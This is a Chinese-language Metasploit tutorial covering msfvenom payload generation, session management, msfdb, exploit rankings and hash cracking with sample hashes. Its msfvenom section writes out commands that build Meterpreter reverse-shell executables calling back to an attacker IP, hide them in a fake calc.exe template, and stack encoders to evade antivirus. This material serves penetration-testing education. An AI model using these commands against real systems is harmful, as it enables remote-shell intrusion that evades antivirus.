在这里插入图片描述

2.2.1.6.1、如何生成Payload

  要生成Payload,必须提供两个标志(-p-f)。

  • -p标志:指定要生成的Payload

       要查看框架中可用的Payload,可以执行以下操作:

msf6 > msfvenom -l payloads

       执行完上面的命令后,会打印如下图所示的内容:
在这里插入图片描述

       -p标志还支持-作为接受自定义Payload的一种方式。其中payload_file.bin表示一个Payload:

msf6 > cat payload_file.bin | msfvenom -p - -a x86 --platform win -e x86/shikata_ga_nai -f raw
  • -f标志:指定Payload的格式
    语法示例:
msf6 > msfvenom -p windows/meterpreter/bind_tcp -f exe

       要查看支持哪些格式,我们可以执行以下操作以了解:

msf6 > msfvenom --list formats

       执行上面的命令会在命令行终端打印如下图所示的内容:
在这里插入图片描述

       通常,以下是我们使用msfvenom的方式,其实这种方式在之前我们已经使用并进行了测试,所以在此不再赘述:

msf6 > msfvenom -p windows/meterpreter/reverse_tcp lhost=[Attact's IP] lport=4444 -f exe -o /tmp/my_payload.exe
2.2.1.6.2、如何对Payload进行编码

  默认情况下,当我们使用-b标志(badchar标志)时,编码功能将自动启动。在其它情况下,我们必须使用-e标志,如下所示:

msf6 > msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai -f raw

  执行完上面的命令后,会在命令行终端打印如下图所示的信息:
在这里插入图片描述

  要了解可以使用哪些编码器,可以使用-l标志

msf6 > msfvenom -l encoders

  执行完上面的命令后,会在命令行端口打印如下图所示的信息:
在这里插入图片描述

  我们还可以使用-i标志对Payload进行多次编码。有时,更多的迭代可能有助于绕过反病毒,但要知道编码并不是真正的反病毒解决方案:

msf6 > msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai -i 3

  执行完上面的命令后,会在命令行端口打印如下图所示的信息:
在这里插入图片描述

2.2.1.6.3、如何规避不良字符

  -b标志用于规避Payload中的某些字符。使用此选项时,msfvenom将自动找到合适的编码器对Payload进行编码:

msf6 > msfvenom -p windows/meterpreter/bind_tcp -b '\x00' -f raw

  执行完上面的命令后,会在命令行端口打印如下图所示的信息:
在这里插入图片描述

2.2.1.6.4、如何提供自定义模板

  默认情况下,msfvenom使用“msf/data/templates”目录中的模板。如果我们想自己选择模板,可以使用-x标志,如下所示:

msf6 > msfvenom -p windows/meterpreter/bind_tcp -x calc.exe -f exe > new.exe

  请注意:如果我们想要为Windows创建一个自定义的x64平台Payload,并且希望使用自定义的x64模板,那么你应该使用exe-only格式,而不是exe格式:

msf6 > msfvenom -p windows/x64/meterpreter/bind_tcp -x /tmp/templates/64_calc.exe -f exe-only > /tmp/fake_64_calc.exe

  -x标志通常与-k标志配对,这允许我们将Payload作为模板中的新线程运行。然而,目前这只适用于较旧的Windows机器,如x86 Windows XP。

2.2.1.6.5、如何链接msfvenom输出

  旧的msfpayload和msfencode实用程序经常在多个编码上按顺序层链接在一起。这也可以使用msfvenom:

msf6 > msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.157.184 LPORT=4444 -f raw -e x86/shikata_ga_nai -i 5 | \
msfvenom -a x86 --platform windows -e x86/countdown -i 8  -f raw | \
msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -i 9 -f exe -o payload.exe

  执行完上面的命令后,会在命令行端口打印如下图所示的信息:
在这里插入图片描述

2.2.1.7、管理会话
2.2.1.7.1、会话搜索

  当我们打开了多个会话时,搜索可能是导航它们的有用工具。本节解释了哪些功能可用于通过搜索导航打开的会话。我们可以在msfconsole中获得与特定条件匹配的会话列表:

msf6 > use windows/meterpreter/reverse_http
msf6 payload(windows/meterpreter/reverse_http) > sessions --search "session_id:1 session_id:2"

  不过由于我们目前没有启动任何会话,所有就不会搜索到特定的会话(如下图所示)。如果我们启动了某个会话,并对其进行搜索,就可以搜索到特定的会话。
在这里插入图片描述

  目前,唯一支持搜索的关键字是session_idsession_typelast_checkin。这些关键字可以组合起来进一步过滤结果,并与其他标志一起使用。例如:

msf6 payload(windows/meterpreter/reverse_http) > sessions --search "session_id:1 session_type:meterpreter last_checkin:greater_than:10s last_checkin:less_than:10d5h2m30s" -v

  不过由于我们目前没有启动任何会话,所有就不会搜索到特定的会话(如下图所示)。如果我们启动了某个会话,并对其进行搜索,就可以搜索到特定的会话:
在这里插入图片描述

  值得注意的是,在上面的例子中,last_checkin需要一个额外的参数。第二个参数必须是greater_thanless_than。第三个自变量可以是一系列交替的时间量和单位(d:天,h:小时,m:分钟,s:秒),即5m2s10d1d5m

2.2.1.7.2、终止过期会话

  如果--search--kill-all结合使用,它将限制后者仅适用于搜索结果。例如:

msf6 payload(windows/meterpreter/reverse_http) > sessions -K -S "session_type:meterpreter"

  不过由于我们目前没有启动任何会话,所有就不会搜索到并终止特定的会话(如下图所示)。如果我们启动了某个会话,并对其进行搜索和终止,就可以搜索并终止特定的会话了:
在这里插入图片描述

2.2.2、中级使用方法

2.2.2.1、数据库支持
2.2.2.1.1、什么是msfdb?

  msfdb是Metasploit的安装中包含的一个脚本,它允许我们轻松设置和控制一个数据库以及一个能够将这个数据库与Metasploit连接的Web服务。

  虽然msfdb是设置数据库的最简单方法,但我们也可以手动设置一个。有关手动设置的说明可以在这里找到。

2.2.2.1.2、为什么要使用msfdb?

  将数据库与Metasploit一起使用并不是强制性的,它可以在没有数据库的情况下运行得很好。然而,使Metasploit如此出色的许多功能都需要数据库,而msfdb是设置与Metasploit兼容的数据库的最简单方法。
需要连接数据库的Metasploit功能包括:

  • 通过使用db_nmap命令在网络上找到的其它机器的记录被存储为“主机”。
    • 可以使用hosts命令查看主机。
  • 通过exploit成功提取的存储凭据存储为“creds”。
    • 使用creds命令查看凭据。
  • 跟踪成功的exploit尝试被记录为“漏洞”。
    • 可以使用vulns命令查看成功exploit的情况。
    • vulns命令还跟踪不成功的exploit尝试。
  • db_nmap在远程主机上检测到的存储服务记录为“服务”。
    • 使用services命令查看远程服务。
  • 跟踪由exploit Payload打开的多个远程会话。
    • 可以使用sessions命令来管理和跟踪这些会话。
  • 将成功exploit返回的任何难以定义的信息存储为“Loot”。
    • 可通过loot命令查看。
  • 跟踪“Ping back payloads”,这是一种非交互式Payload类型,为用户提供对目标远程执行的确认。
  • 通过由活动会话组成的“路由”网络进行数据透视。
    • 可通过routes命令查看。
  • 生成包含上述所有信息的报告(仅限专业版用户)。

  上述所有功能也可以在工作空间中进行逻辑分离。通过使用workspace命令,可以将某些操作的结果放置在不同的工作空间中。这有助于使我们在使用Metasploit期间生成或记录的任何数据保持有序且易于遵循。

2.2.2.1.3、使用msfdb

  使用msfdb很简单。如果是第一次启动数据库,请进入到Metasploit安装的文件夹的如下位置,然后运行./msfdb init命令以进行初始化操作。

$ cd /opt/metasploit-framework/bin/
$ ./msfdb init

  执行完上面的命令后看起来像是有很多信息,但它所说的只是它正在创建Metasploit将用于存储信息的数据库。如下图所示。
在这里插入图片描述

  Metasploit在启动时会自动加载“~/.msf4”文件夹中的所有这些信息。为了将来可能需要,我们应该将这些凭据复制到一个文件中保存。如果我们忘记或丢失了这些凭据,我们随时可以运行./msfdb reinit命令以重置Web服务的身份验证详细信息。只需确保在提示是否要删除数据库内容时输入并选择no即可。

2.2.2.1.4、msfdb命令

  msfdb的命令如下:

  • ./msfdb-init创建并开始执行数据库和web服务。执行此命令后显示的其它提示允许对用于通过web服务连接到数据库的用户名和密码进行可选配置。Web服务用户名和密码可以设置为默认值,也可以设置为用户选择的值。
  • ./msfdb delete删除web服务和数据库配置文件。还会提示我们删除数据库的内容,但这不是强制性的。
  • ./msfdb reinit与运行./msfdb delete紧跟其后./msfdb init相同。
  • ./msfdb status显示数据库和web服务当前是否处于活动状态。如果数据库处于活动状态,则会显示其位置的路径。如果web服务处于活动状态,则会显示已分配给它的进程ID。
  • ./msfdb start启动数据库和web服务。
  • ./msfdb stop停止数据库和web服务。
  • ./msfdb restart相当于立即运行./msfdb stop,然后接着运行./msfdb start
2.2.2.1.5、msfdb错误

  如果上面的任何命令打印堆栈跟踪或错误,第一步应该是运行./msfdb-reinit(再次确保对询问我们是否要删除数据库内容的提示输入并选择no),然后重新尝试导致错误的命令。如果错误仍然存在,请复制我们执行的命令和生成的输出,并将其粘贴到错误票据中。

2.2.2.1.6、接下来是什么?

  本章节的内容是关于如何为Metasploit设置数据库的简单高级解释。如果这对我们来说还不够详细,我们可以在这里查看相关内容以获得更深入的解释。

  如果我们想开始学习黑客技术但不知道如何入门,以下是一些作者非常喜欢的指南:

  然而,如果我们对Metasploit的知识充满信心,只是想投入其中,那就投入吧!祝我们好运,保持友善,尽情享受。

2.2.2.2、绕过反病毒
2.2.2.2.1、阅读这些链接

  有大约1400万其它资源详细介绍绕过反病毒的原因和方法,但下述文章应该能够帮助我们入门。

2.2.2.3、Exploit排名

  每个漏洞利用模块都根据其对目标系统的潜在影响进行了排名。用户可以根据排名对漏洞进行搜索、分类和优先级排序。排名是通过在模块中的类声明顶部添加一个Rank常量来实现的:

class MetasploitModule < Msf::Exploit  
    Rank = LowRanking  
    def initialize(info={})  
        ...  
    end  
    ...  
end 

  排名数值有以下几种,按可靠性降序排列:

等级描述
ExcellentRanking该exploit永远不会使服务崩溃。SQL注入、CMD执行、RFI、LFI等都是这种情况。除非出现特殊情况(WMF Escape())否则不应将典型的内存损坏利用率列为此级别。
GreatRanking该exploit具有默认目标,并且在版本检查后自动检测相应的目标或使用特定于应用程序的返回地址。
GoodRanking该exploit具有默认目标,通常是这类软件的“普遍情况”(例如,英语环境下的桌面应用使用Windows 7,服务器应用使用2012等)。该exploit不会自动检测目标。
NormalRanking该exploit在其他方面是可靠的,但取决于特定版本,该版本不是此类软件的“常见情况”,并且不能(或没有)可靠地自动检测。
AverageRanking该exploit通常不可靠或难以利用,但对于常见平台,成功率为50%或更高。
LowRanking该exploit几乎不可能用于普通平台(成功率低于50%)。
ManualRanking该exploit不稳定或难以利用,基本上是一种拒绝服务攻击(成功率为15%或更低)。当模块除非由用户特定配置否则无用时(例如:exploit/unix/webapp/php_eval),也会使用这个等级。

  排名数值可在模块类对象以及实例中获得:

modcls = framework.exploits["windows/browser/ie_createobject"]  
modcls.rank      # => 600  
modcls.rank_to_s # => "excellent"  
  
mod = modcls.new  
mod.rank      # => 600  
mod.rank_to_s # => "excellent" 
2.2.2.4、哈希和密码破解
2.2.2.4.1、简介

  本章节将讨论Metasploit中用于处理密码哈希和破解密码的各种库、依赖和功能。总体而言,这不会涵盖将凭据存储在数据库中的内容,这方面的信息可以在这里阅读。Metasploit目前支持使用John the Ripperhashcat破解密码。

2.2.2.4.2、哈希

  许多模块可以从各种软件中导出哈希值,涵盖了从操作系统(WindowsOSXLinux)到诸如postgresoracle之类的应用程序。与hash-identifier项目类似,Metasploit包含一个库,以标准方式识别哈希的类型。identify.rb可以接收一个哈希值,并返回相应的John the Ripper类型。Metasploit标准化到John the Ripper的类型。尽管我们可能已经知道正在导出的哈希类型,但使用这个库可以帮助标准化未来的更改。

2.2.2.4.3、哈希识别示例

  在第一个简单的例子中,我们将简单地展示加载库并调用其函数。首先加载irb库。

msf6 > irb 

  然后加载哈希识别库,需要注意的是,metasploit/framework/hashes/identify是Metasploit框架的哈希识别库,不同的安装方式和不同的Metasploit版本可能其位置和名称有所区别,需要将其替换为我们自己的Metasploit框架的哈希识别库:

>> require 'metasploit/framework/hashes/identify'

  然后执行如下命令来识别给定的值:

>> puts identify_hash "$1$28772684$iEwNOgGugqO9.bIz5sk8k/"

  执行完上面的命令后,会在命令行终端打印md5,这表示给定的值是md5格式的哈希值。然后再执行如下命令来识别给定的值:

>> puts identify_hash "This_is a Fake Hash"

  执行完上面的命令后,会在命令行终端打印nil,这表示给定的值不是有效的哈希值。然后再执行如下命令来识别给定的值:

>> puts identify_hash "_9G..8147mpcfKT8g0U."

  执行完上面的命令后,会在命令行终端打印nil,这表示给定的值不是有效的哈希值。最后执行如下命令来退出irb库环境:

>> exit
2.2.2.4.4、破解工具
  1. Hashcat与JtR之间的差异
    本章节将介绍这两种破解工具之间的差异。这并不是关于速度的比较,也不是讨论为什么一种在特定情况下可能比另一种更有效的比较。
  2. 常规设置
描述JtRhashcat
session–session–session
no logging–no-log–logfile-disable
config file–config(n/a)
previous cracks–pot–potfile-path
type of hashes–format–hash-type
wordlist–wordlist(last parameter)
incremental–incremental–increment
rules–rules–rules-file
max run time–max-run-time–runtime
show results–show–show
  1. 哈希设置
哈希JtRhashcat
List formatsjohn --list=formats/john --list=format-all-detailshashcat -h
cram-md5hmac-md510200
desdescrypt1500
md5(crypt is 1 1 1md5crypt500
sha1100
bsdibsdicrypt12400
sha256sha256crypt7400
sha512sha512crypt1800
blowfishbcrypt3200
lanmanlm3000
NTLMnt1000
mssql(05)mssql131
mssql12mssql121731
mssql(2012/2014)mssql05132
oracle(10)oracle3100
oracle 11oracle11112
oracle 12oracle12c12300
postgresdynamic_103412
mysqlmysql200
mysql-sha1mysql-sha1300
sha512( p . p. p.s)- vmware ldapdynamic_821710
md5(raw, unicode)Raw-MD5u30(with an empty salt)
NetNTLMv1netntlm5500
NetNTLMv2netntlmv25600
pbkdf2-sha256PBKDF2-HMAC-SHA25610900
Android(Samsung)SHA15800
Android(non-Samsung)SHA1110
Android MD510
xshaxsha122
xsha512xsha5121722
PBKDF2-HMAC-SHA512PBKDF2-HMAC-SHA5127100
PBKDF2-HMAC-SHA1PBKDF2-HMAC-SHA112001
PHPassphpass400
mediawikimediawiki3711

       虽然Metasploit使用JtR格式进行标准化,但hashcat包含JtR_format_to_hashcat_format函数,用于将JtR转换为hashcat。

  1. 破解工具模式
    每个破解模式都是适用于该特定模式的一组规则。其思想是,任何优化都可以应用于该模式,并在其它模式上重置。这些模式包括:
  2. Hashcat优化内核
    Hashcat包含一个使用优化内核的-O标志。从内部测试来看,它的速度似乎快了200%以上,并权衡了密码长度。有关更多信息,请参阅https://github.com/rapid7/metasploit framework/pull/12790
  3. 导出密码和哈希
    通过使用creds命令并使用-o选项指定输出文件,可以将哈希导出为三种不同的文件格式。当文件以.jtr.hcat结尾时,将分别使用John the Ripper或Hashcat格式。任何其它文件后缀都将导致数据以CSV格式导出。
    警告:当以John the Ripper或Hashcat格式导出时,格式化程序无法处理的任何哈希都将被忽略。有关更新格式化程序的详细信息,请参阅添加新哈希一节。
    导出的哈希值可以通过一些字段进行筛选,例如用户名和域。另一个有用的字段是哈希类型,可以使用-t/--type选项指定。类型可以是passwordntlmhash,或者是John the Ripper格式名称之一,比如netntlmv2
    导出用于与John the Ripper一起使用的WORKGROUP领域的所有NetNTLMv2密钥的示例:creds --realm WORKGROUP --type netntlmv2 -o /path/to/netntlmv2_hashes.jtr
2.2.2.4.5、哈希演示
  1. Hashcat
  2. JtR

  为测试Hashcat/JtR集成,以下是导入不同类型示例哈希的常见命令列表。在可能的情况下,用户名使用下划线分隔,其后是密码。例如,对于des_password,哈希的密码是password

# nix
creds add user:des_password hash:rEK1ecacw.7.c jtr:des
creds add user:md5_password hash:$1$O3JMY.Tw$AdLnLjQ/5jXF9.MTp3gHv/ jtr:md5
creds add user:bsdi_password hash:_J9..K0AyUubDrfOgO4s jtr:bsdi
creds add user:sha256_password hash:$5$MnfsQ4iN$ZMTppKN16y/tIsUYs/obHlhdP.Os80yXhTurpBMUbA5 jtr:sha256,crypt
creds add user:sha512_password hash:$6$zWwwXKNj$gLAOoZCjcr8p/.VgV/FkGC3NX7BsXys3KHYePfuIGMNjY83dVxugPYlxVg/evpcVEJLT/rSwZcDMlVVf/bhf.1 jtr:sha512,crypt
creds add user:blowfish_password hash:$2a$05$bvIG6Nmid91Mu9RcmmWZfO5HJIMCT8riNW0hEp8f6/FuA2/mHZFpe jtr:bf
# windows
creds add user:lm_password ntlm:E52CAC67419A9A224A3B108F3FA6CB6D:8846F7EAEE8FB117AD06BDD830B7586C jtr:lm
creds add user:nt_password ntlm:AAD3B435B51404EEAAD3B435B51404EE:8846F7EAEE8FB117AD06BDD830B7586C jtr:nt
creds add user:u4-netntlm hash:u4-netntlm::kNS:338d08f8e26de93300000000000000000000000000000000:9526fb8c23a90751cdd619b6cea564742e1e4bf33006ba41:cb8086049ec4736c jtr:netntlm
creds add user:admin hash:admin::N46iSNekpT:08ca45b7d7ea58ee:88dcbe4446168966a153a0064958dac6:5c7830315c7830310000000000000b45c67103d07d7b95acd12ffa11230e0000000052920b85f78d013c31cdb3b92f5d765c783030 jtr:netntlmv2
creds add user:mscash-test1 hash:M$test1#64cd29e36a8431a2b111378564a10631 jtr:mscash
creds add user:mscash2-hashcat hash:$DCC2$10240#tom#e4e938d12fe5974dc42a90120bd9c90f jtr:mscash2
# sql
creds add user:mssql05_toto hash:0x01004086CEB6BF932BC4151A1AF1F13CD17301D70816A8886908 jtr:mssql05
creds add user:mssql_foo hash:0x0100A607BA7C54A24D17B565C59F1743776A10250F581D482DA8B6D6261460D3F53B279CC6913CE747006A2E3254 jtr:mssql
creds add user:mssql12_Password1! hash:0x0200F733058A07892C5CACE899768F89965F6BD1DED7955FE89E1C9A10E27849B0B213B5CE92CC9347ECCB34C3EFADAF2FD99BFFECD8D9150DD6AACB5D409A9D2652A4E0AF16 jtr:mssql12
creds add user:mysql_probe hash:445ff82636a7ba59 jtr:mysql
creds add user:mysql-sha1_tere hash:*5AD8F88516BD021DD43F171E2C785C69F8E54ADB jtr:mysql-sha1
## oracle (10) uses usernames in the hashing, so we can't override that here
creds add user:simon hash:4F8BC1809CB2AF77 jtr:des,oracle
creds add user:SYSTEM hash:9EEDFA0AD26C6D52 jtr:des,oracle
## oracle 11/12 H value, username is used
creds add user:DEMO hash:'S:8F2D65FB5547B71C8DA3760F10960428CD307B1C6271691FC55C1F56554A;H:DC9894A01797D91D92ECA1DA66242209;T:23D1F8CAC9001F69630ED2DD8DF67DD3BE5C470B5EA97B622F757FE102D8BF14BEDC94A3CC046D10858D885DB656DC0CBF899A79CD8C76B788744844CADE54EEEB4FDEC478FB7C7CBFBBAC57BA3EF22C' jtr:raw-sha1,oracle
## oracle 11/12 uses a LONG format, see lib/msf/core/auxiliary/jtr.rb
creds add user:oracle11_epsilon hash:'S:8F2D65FB5547B71C8DA3760F10960428CD307B1C6271691FC55C1F56554A;H:DC9894A01797D91D92ECA1DA66242209;T:23D1F8CAC9001F69630ED2DD8DF67DD3BE5C470B5EA97B622F757FE102D8BF14BEDC94A3CC046D10858D885DB656DC0CBF899A79CD8C76B788744844CADE54EEEB4FDEC478FB7C7CBFBBAC57BA3EF22C' jtr:raw-sha1,oracle
creds add user:oracle12c_epsilon hash:'H:DC9894A01797D91D92ECA1DA66242209;T:E3243B98974159CC24FD2C9A8B30BA62E0E83B6CA2FC7C55177C3A7F82602E3BDD17CEB9B9091CF9DAD672B8BE961A9EAC4D344BDBA878EDC5DCB5899F689EBD8DD1BE3F67BFF9813A464382381AB36B' jtr:pbkdf2,oracle12c
## postgres uses username, so we can't override that here
creds add user:example postgres:md5be86a79bf2043622d58d5453c47d4860
# mobile
creds add user:samsungsha1 hash:D1B19A90B87FC10C304E657F37162445DAE27D16:a006983800cc3dd1 jtr:android-samsung-sha1
creds add user:androidsha1 hash:9860A48CA459D054F3FEF0F8518CF6872923DAE2:81fcb23bcadd6c5 jtr:android-sha1
creds add user:androidmd5 hash:1C0A0FDB673FBA36BEAEB078322C7393:81fcb23bcadd6c5 jtr:android-md5
# OSX
creds add user:xsha_hashcat hash:1430823483d07626ef8be3fda2ff056d0dfd818dbfe47683 jtr:xsha
creds add user:pbkdf2_hashcat hash:$ml$35460$93a94bd24b5de64d79a5e49fa372827e739f4d7b6975c752c9a0ff1e5cf72e05$752351df64dd2ce9dc9c64a72ad91de6581a15c19176266b44d98919dfa81f0f96cbcb20a1ffb400718c20382030f637892f776627d34e021bad4f81b7de8222 jtr:PBKDF2-HMAC-SHA512
creds add user:xsha512_hashcat hash:648742485c9b0acd786a233b2330197223118111b481abfa0ab8b3e8ede5f014fc7c523991c007db6882680b09962d16fd9c45568260531bdb34804a5e31c22b4cfeb32d jtr:xsha512
# webapps
creds add user:mediawiki_hashcat hash:$B$56668501$0ce106caa70af57fd525aeaf80ef2898 jtr:mediawiki
creds add user:phpass_p_hashcat hash:$P$984478476IagS59wHZvyQMArzfx58u. jtr:phpass
creds add user:phpass_h_hashcat hash:$H$984478476IagS59wHZvyQMArzfx58u. jtr:phpass
creds add user:atlassian_hashcat hash:{PKCS5S2}NzIyNzM0NzY3NTIwNjI3MdDDis7wPxSbSzfFqDGf7u/L00kSEnupbz36XCL0m7wa jtr:PBKDF2-HMAC-SHA1
# other
creds add user:hmac_password hash:'<3263520797@127.0.0.1>#3f089332842764e71f8400ede97a84c9' jtr:hmac-md5
creds add user:vmware_ldap hash:'$dynamic_82$a702505b8a67b45065a6a7ff81ec6685f08d06568e478e1a7695484a934b19a28b94f58595d4de68b27771362bc2b52444a0ed03e980e11ad5e5ffa6daa9e7e1$HEX$171ada255464a439569352c60258e7c6' jtr:dynamic_82
creds add user:admin hash:'$pbkdf2-sha256$260000$Q1hzYjU5dFNMWm05QUJCTg$s.vmjGlIV0ZKV1Sp3dTdrcn/i9CTqxPZ0klve4HreeU' jtr:pbkdf2-sha256

这些数据分为下表:

Hash TypeUsernameHashPasswordjtr formatModules which dump this infoModules which crack this
DESdes_passwordrEK1ecacw.7.cpassworddespost/aix/gather/hashdumpauxiliary/analyze/crack_aix auxiliary/analyze/crack_linux
MD5md5_password 1 1 1O3JMY.Tw$AdLnLjQ/5jXF9.MTp3gHv/passwordmd5post/linux/gather/hashdumpauxiliary/analyze/crack_linux
BSDibsdi_password_J9…K0AyUubDrfOgO4spasswordbsdipost/linux/gather/hashdumpauxiliary/analyze/crack_linux
SHA256sha256_password 5 5 5MnfsQ4iN$ZMTppKN16y/tIsUYs/obHlhdP.Os80yXhTurpBMUbA5passwordsha256,cryptpost/linux/gather/hashdumpauxiliary/analyze/crack_linux
SHA512sha512_password 6 6 6zWwwXKNj$gLAOoZCjcr8p/.VgV/FkGC3NX7BsXys3KHYePfuIGMNjY83dVxugPYlxVg/evpcVEJLT/rSwZcDMlVVf/bhf.1passwordsha512,cryptpost/linux/gather/hashdumpauxiliary/analyze/crack_linux
Blowfishblowfish_password$2a 05 05 05bvIG6Nmid91Mu9RcmmWZfO5HJIMCT8riNW0hEp8f6/FuA2/mHZFpepasswordbfpost/linux/gather/hashdumpauxiliary/analyze/crack_linux
Lanmanlm_passwordE52CAC67419A9A224A3B108F3FA6CB6D:8846F7EAEE8FB117AD06BDD830B7586Cpasswordlmpost/windows/gather/hashdumpauxiliary/analyze/crack_windows
NTLMnt_passwordAAD3B435B51404EEAAD3B435B51404EE:8846F7EAEE8FB117AD06BDD830B7586Cpasswordntpost/linux/gather/hashdumpauxiliary/analyze/crack_windows
NetNTLMv1u4-netntlmu4-netntlm::kNS:338d08f8e26de93300000000000000000000000000000000:9526fb8c23a90751cdd619b6cea564742e1e4bf33006ba41:cb8086049ec4736chashcatnetntlmauxiliary/analyze/crack_windows
NetNTLMv2adminadmin::N46iSNekpT:08ca45b7d7ea58ee:88dcbe4446168966a153a0064958dac6:5c7830315c7830310000000000000b45c67103d07d7b95acd12ffa11230e0000000052920b85f78d013c31cdb3b92f5d765c783030hashcatnetntlmv2auxiliary/analyze/crack_windows
MSCashmscash-test1M$test1#64cd29e36a8431a2b111378564a10631test1mscashauxiliary/analyze/crack_windows
MSCash2mscash2-hashcat$DCC2$10240#tom#e4e938d12fe5974dc42a90120bd9c90fhashcatmscash2auxiliary/analyze/crack_windows
MSSQL (2005)mssql05_toto0x01004086CEB6BF932BC4151A1AF1F13CD17301D70816A8886908totomssql05auxiliary/scanner/mssql/mssql_hashdumpauxiliary/analyze/crack_databases
MSSQLmssql_foo0x0100A607BA7C54A24D17B565C59F1743776A10250F581D482DA8B6D6261460D3F53B279CC6913CE747006A2E3254foomssqlauxiliary/scanner/mssql/mssql_hashdumpauxiliary/analyze/crack_databases
MSSQL (2012)mssql12_Password1!0x0200F733058A07892C5CACE899768F89965F6BD1DED7955FE89E1C9A10E27849B0B213B5CE92CC9347ECCB34C3EFADAF2FD99BFFECD8D9150DD6AACB5D409A9D2652A4E0AF16Password!mssql12auxiliary/scanner/mssql/mssql_hashdumpauxiliary/analyze/crack_databases
MySQLmysql_probe445ff82636a7ba59probemysqlauxiliary/scanner/mysql/mysql_hashdumpauxiliary/analyze/crack_databases
MySQL SHA1mysql-sha1_tere*5AD8F88516BD021DD43F171E2C785C69F8E54ADBteremysql-sha1auxiliary/scanner/mysql/mysql_hashdumpauxiliary/analyze/crack_databases
Oraclesimon4F8BC1809CB2AF77Ades,oracleauxiliary/scanner/oracle/oracle_hashdumpauxiliary/analyze/crack_databases
OracleSYSTEM9EEDFA0AD26C6D52THALESdes,oracleauxiliary/scanner/oracle/oracle_hashdumpauxiliary/analyze/crack_databases
Oracle 11DEMOS:8F2D65FB5547B71C8DA3760F10960428CD307B1C6271691FC55C1F56554A;H:DC9894A01797D91D92ECA1DA66242209;T:23D1F8CAC9001F69630ED2DD8DF67DD3BE5C470B5EA97B622F757FE102D8BF14BEDC94A3CC046D10858D885DB656DC0CBF899A79CD8C76B788744844CADE54EEEB4FDEC478FB7C7CBFBBAC57BA3EF22Cepsilonraw-sha1,oracleauxiliary/scanner/oracle/oracle_hashdumpauxiliary/analyze/crack_databases
Oracle 11oracle11_epsilonS:8F2D65FB5547B71C8DA3760F10960428CD307B1C6271691FC55C1F56554A;H:DC9894A01797D91D92ECA1DA66242209;T:23D1F8CAC9001F69630ED2DD8DF67DD3BE5C470B5EA97B622F757FE102D8BF14BEDC94A3CC046D10858D885DB656DC0CBF899A79CD8C76B788744844CADE54EEEB4FDEC478FB7C7CBFBBAC57BA3EF22Cepsilonraw-sha1,oraclemodules/auxiliary/scanner/oracle/oracle_hashdumpauxiliary/analyze/crack_databases
Oracle 12oracle12_epsilonH:DC9894A01797D91D92ECA1DA66242209;T:E3243B98974159CC24FD2C9A8B30BA62E0E83B6CA2FC7C55177C3A7F82602E3BDD17CEB9B9091CF9DAD672B8BE961A9EAC4D344BDBA878EDC5DCB5899F689EBD8DD1BE3F67BFF9813A464382381AB36Bepsilonpbkdf2,oracle12cauxiliary/scanner/oracle/oracle_hashdumpauxiliary/analyze/crack_databases
Postgresexamplemd5be86a79bf2043622d58d5453c47d4860passwordraw-md5,postgresauxiliary/scanner/postgres/postgres_hashdumpauxiliary/analyze/crack_databases
Android (Samsung) SHA1samsungsha1D1B19A90B87FC10C304E657F37162445DAE27D16:a006983800cc3dd11234android-samsung-sha1post/android/gather/hashdumpmodules/auxiliary/analyze/crack_mobile
Android (non-Samsung) SHA1androidsha19860A48CA459D054F3FEF0F8518CF6872923DAE2:81fcb23bcadd6c51234android-sha1post/android/gather/hashdumpmodules/auxiliary/analyze/crack_mobile
Android MD5androidmd51C0A0FDB673FBA36BEAEB078322C7393:81fcb23bcadd6c51234android-md5post/android/gather/hashdumpmodules/auxiliary/analyze/crack_mobile
OSX 10.4-10.6xsha_hashcat1430823483d07626ef8be3fda2ff056d0dfd818dbfe47683hashcatxshapost/osx/gather/hashdumpmodules/auxiliary/analyze/crack_osx
OSX 10.8+pbkdf2_hashcat$ml$35460$93a94bd24b5de64d79a5e49fa372827e739f4d7b6975c752c9a0ff1e5cf72e05$752351df64dd2ce9dc9c64a72ad91de6581a15c19176266b44d98919dfa81f0f9$hashcatPBKDF2-HMAC-SHA512post/osx/gather/hashdumpmodules/auxiliary/analyze/crack_osx
OSX 10.7xsha512_hashcat648742485c9b0acd786a233b2330197223118111b481abfa0ab8b3e8ede5f014fc7c523991c007db6882680b09962d16fd9c45568260531bdb34804a5e31c22b4cfeb32dhashcatxsha512post/osx/gather/hashdumpmodules/auxiliary/analyze/crack_osx
HMAC-MD5hmac_password<3263520797@127.0.0.1>#3f089332842764e71f8400ede97a84c9passwordhmac-md5auxiliary/server/capture/smtp
SHA512( p . p. p.s)/dynamic_82/vmware ldapvmware_ldap$dynamic_82$a702505b8a67b45065a6a7ff81ec6685f08d06568e478e1a7695484a934b19a28b94f58595d4de68b27771362bc2b52444a0ed03e980e11ad5e5ffa6daa9e7e1$HEX$171ada255464a439569352c60258e7c6TestPass123#dynamic_82
MediaWikimediawiki_hashcat$B$56668501$0ce106caa70af57fd525aeaf80ef2898hashcatmediawikimodules/auxiliary/analyze/crack_webapps
PHPPass (P type)phpass_p_hashcat$P$984478476IagS59wHZvyQMArzfx58u.hashcatphpassmodules/auxiliary/analyze/crack_webapps
PHPPass (H type)phpass_h_hashcat$H$984478476IagS59wHZvyQMArzfx58u.hashcatphpassmodules/auxiliary/analyze/crack_webapps
Atlassianatlassian_hashcat{PKCS5S2}NzIyNzM0NzY3NTIwNjI3MdDDis7wPxSbSzfFqDGf7u/L00kSEnupbz36XCL0m7wahashcatPBKDF2-HMAC-SHA1modules/auxiliary/analyze/crack_webapps
2.2.2.4.6、添加新哈希

  只有在Metasploit中找到的哈希才被添加到哈希标识库以及其他功能中。新的哈希类型经常被开发,而且肯定会创建新的模块来识别新的哈希类型。那么,向Metasploit中添加新的哈希类型的步骤是什么呢?

  1. 将新的识别算法添加到“framework/hashes.rb”。我们可能需要参考hashidhash-identifier等外部程序以获得建议。
  2. 确保哈希以JTR(John the Ripper)格式保存在数据库中。识别哈希外观的一个好的参考来源是pentestmonkey
  3. 如果适用,将其添加到适当的破解器模块中(或创建一个新的破解器)。与Windows相关的哈希示例
  4. 查找hashcat散列模式,并在hashcat哈希方式查找中添加一个JTR名称。
  5. 如果hashcat对哈希字符串使用不同的格式,请向格式化程序添加JTR到hashcat的哈希格式转换。
  6. 更新此Wiki
    • 添加JTR到hashcat的转换
    • 添加示例hash
2.2.2.5、Metasploit插件

